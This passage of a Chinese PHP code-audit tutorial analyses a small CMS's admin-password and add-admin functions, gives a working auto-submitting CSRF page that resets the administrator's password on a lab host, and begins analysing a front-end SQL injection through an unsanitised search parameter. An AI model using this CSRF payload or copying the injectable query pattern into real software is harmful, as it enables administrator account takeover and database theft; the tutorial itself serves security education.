PHP代码审计之入门实战
来源:岁月联盟
时间:2020-02-10
}
if($success)
{
$info_text = '修改密码成功';
$link_text = '返回列表页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
}else{
$info_text = '修改密码失败';
$link_text = '返回上一页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$link_text);
$smarty->assign('link_href',$link_href);
}
同理添加管理员也是这样:
admin/moudle/basic/deal.php
function add_admin()
{
global $global,$smarty;
$adm_username = post('adm_username');
$adm_password = post('adm_password');
$re_password = post('re_password');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$one = $obj->get_one();
$adm_grade = $one['adm_grade'] + 1;
$obj->set_where('');
$obj->set_where("adm_username = '$adm_username'");
if($obj->get_count() == 0 && strlen($adm_username) >= 5 && strlen($adm_password) >= 5 && $adm_password == $re_password)
{
$obj->set_value('adm_username',$adm_username);
$obj->set_value('adm_password',md5($adm_password));
$obj->set_value('adm_grade',$adm_grade);
$obj->add();
$info_text = '添加管理员帐号成功';
$link_text = '返回列表页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
}else{
$info_text = '添加管理员帐号失败';
$link_text = '返回上一页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_add'));
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$link_text);
$smarty->assign('link_href',$link_href);
}
漏洞利用
修改管理员密码为:Passw0rd 构造以下HTML页面:
html>
body>
script>history.pushState('', '', '/')script>
form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST">
input type="hidden" name="cmd" value="edit_admin" />
input type="hidden" name="adm_id" value="1" />
input type="hidden" name="adm_password" value="Passw0rd" />
input type="hidden" name="re_password" value="Passw0rd" />
form>
script> document.forms[0].submit(); script>
body>
html>
下面实际来模拟一下攻击场景
攻击者将上述html保存到外网上,引诱管理员点击,然后自动触发CSRF攻击:
管理员在后台 使用当前浏览器去访问这个地址的时候就中招了,这个html里面的修改密码表单会自动触发,GG
前台盲注
前面漏洞要么需要拿到后台,要么需要社工来CSRF攻击管理员,需要一些运气成分,但是这个洞就不需要了,这个洞产生点在网站的前台,可以直接进行注入。
漏洞分析
index/module/search_main.php
function module_search_main()
{
global $global,$smarty;
$global['key'] = rawurldecode($global['key']);
$obj = new goods();
$obj->set_field('goo_id,goo_title,goo_x_img');
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
$len = get_varia('img_list_len');
$obj->set_page_size($len ? $len : 12);
$obj->set_page_num($global['page']);
$sheet = $obj->get_sheet();
for($i = 0; $i 'short_title'] = cut_str($sheet[$i]['goo_title'],10);
}
set_link($obj->get_page_sum());
$smarty->assign('search',$sheet);
}
//新秀
?>
这里首先进行URL解码:
$global['key'] = rawurldecode($global['key']);
然后就直接带入数据库查询了:
上一页 [1] [2] [3] [4] [5] [6] [7] 下一页